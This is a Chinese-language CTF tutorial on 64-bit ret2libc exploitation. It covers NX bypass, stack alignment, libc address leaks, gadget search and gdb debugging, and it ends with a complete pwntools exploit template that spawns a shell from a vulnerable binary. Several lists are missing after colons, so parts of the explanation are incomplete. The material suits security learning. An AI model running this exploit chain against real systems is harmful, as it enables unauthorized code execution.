Ret2Libc全称Return to Libc,是一种针对NX保护绕过的经典攻击技术。我第一次接触这个概念是在2015年参加CTF比赛时,当时遇到一道死活绕不过NX的题目,后来前辈指点说"试试把返回地址指向libc里的函数",这才打开了新世界的大门。
核心原理其实很简单:当程序启用NX保护后,栈上的shellcode无法执行,但libc库中的函数依然可以调用。就像你家防盗门锁死了窗户(NX保护),但正门钥匙还挂在墙上(libc函数)。我们只需要:
在32位系统中,这些参数可以直接压栈。但在64位环境下,事情变得复杂起来——参数需要通过寄存器传递。这就好比32位是直接把东西扔进仓库(栈),而64位需要快递员(寄存器)逐个送货。
64位Linux遵循System V AMD64 ABI调用约定,前六个参数分别使用:
这直接导致我们的ROP链构造方式发生根本变化。去年我在某次渗透测试中,就因为没注意这个差异,payload死活不生效,调试了整整两天。
64位系统对栈帧有严格的16字节对齐要求。在实际操作中,我经常遇到加了ROPgadget却段错误的情况,这时候就需要:
bash复制# 检查栈指针
gdb-peda$ x/10x $rsp
通常的解决方案是在ROP链开头加个ret指令调整栈帧,就像搭积木前要先垫个平整的底座。
64位地址使用8字节存储,且通常以"\x7f"开头。在接收泄露的地址时,我推荐使用这个稳健的写法:
python复制leak_addr = u64(r.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
这种写法能自动处理地址截断和填充问题,比直接recv(8)可靠得多。
我习惯使用ROPgadget配合pwntools:
bash复制# 查找可用gadget
ROPgadget --binary ./vuln --only "pop|ret"
最近发现ropper也很不错,搜索速度更快:
bash复制ropper -f ./vuln --search "pop rdi"
以一道典型的CTF题目为例:
python复制# 构造泄露write@got的payload
payload = flat([
b'A'*offset,
pop_rdi, 1,
pop_rsi_r15, write_got, 0,
write_plt,
main_addr # 重新执行main函数
])
python复制write_addr = u64(r.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = write_addr - libc.symbols['write']
python复制system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
python复制payload = flat([
b'A'*offset,
pop_rdi, binsh_addr,
ret_addr, # 栈对齐用
system_addr
])
我常用的gdb调试命令:
bash复制# 查看内存映射
vmmap
# 检查ROP链执行流程
context stack
# 断点设置在函数返回时
break *vuln_func+0x20
遇到奇怪崩溃时,先检查:
当目标程序没有输出函数时,可以尝试:
去年遇到一道题就需要这样处理:
python复制# 修改stdout的_flags字段
payload = modify_stdout_flags + leak_payload
现代系统都启用ASLR,我的应对策略是:
记得有次比赛,我的payload因为包含"\x0a"被过滤,改用"\x00"分隔就成功了。这种细节往往决定成败。
假设有个漏洞程序vuln,只开启NX保护:
bash复制checksec --file=./vuln
python复制pop_rdi = 0x400703
ret = 0x400299 # 用于栈对齐
python复制from pwn import *
context(arch='amd64', os='linux')
p = process('./vuln')
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 第一段:泄露puts地址
payload = flat([
b'A'*72,
pop_rdi, elf.got['puts'],
elf.plt['puts'],
elf.sym['main']
])
p.sendlineafter(b"> ", payload)
puts_addr = u64(p.recvline()[:-1].ljust(8, b"\x00"))
libc.address = puts_addr - libc.sym['puts']
# 第二段:getshell
payload = flat([
b'A'*72,
ret, # 栈对齐
pop_rdi, next(libc.search(b"/bin/sh")),
libc.sym['system']
])
p.sendlineafter(b"> ", payload)
p.interactive()
这个模板我修改过不下20次,现在已经成为我的标准解题流程。关键是要理解每个环节的作用,而不是盲目复制粘贴。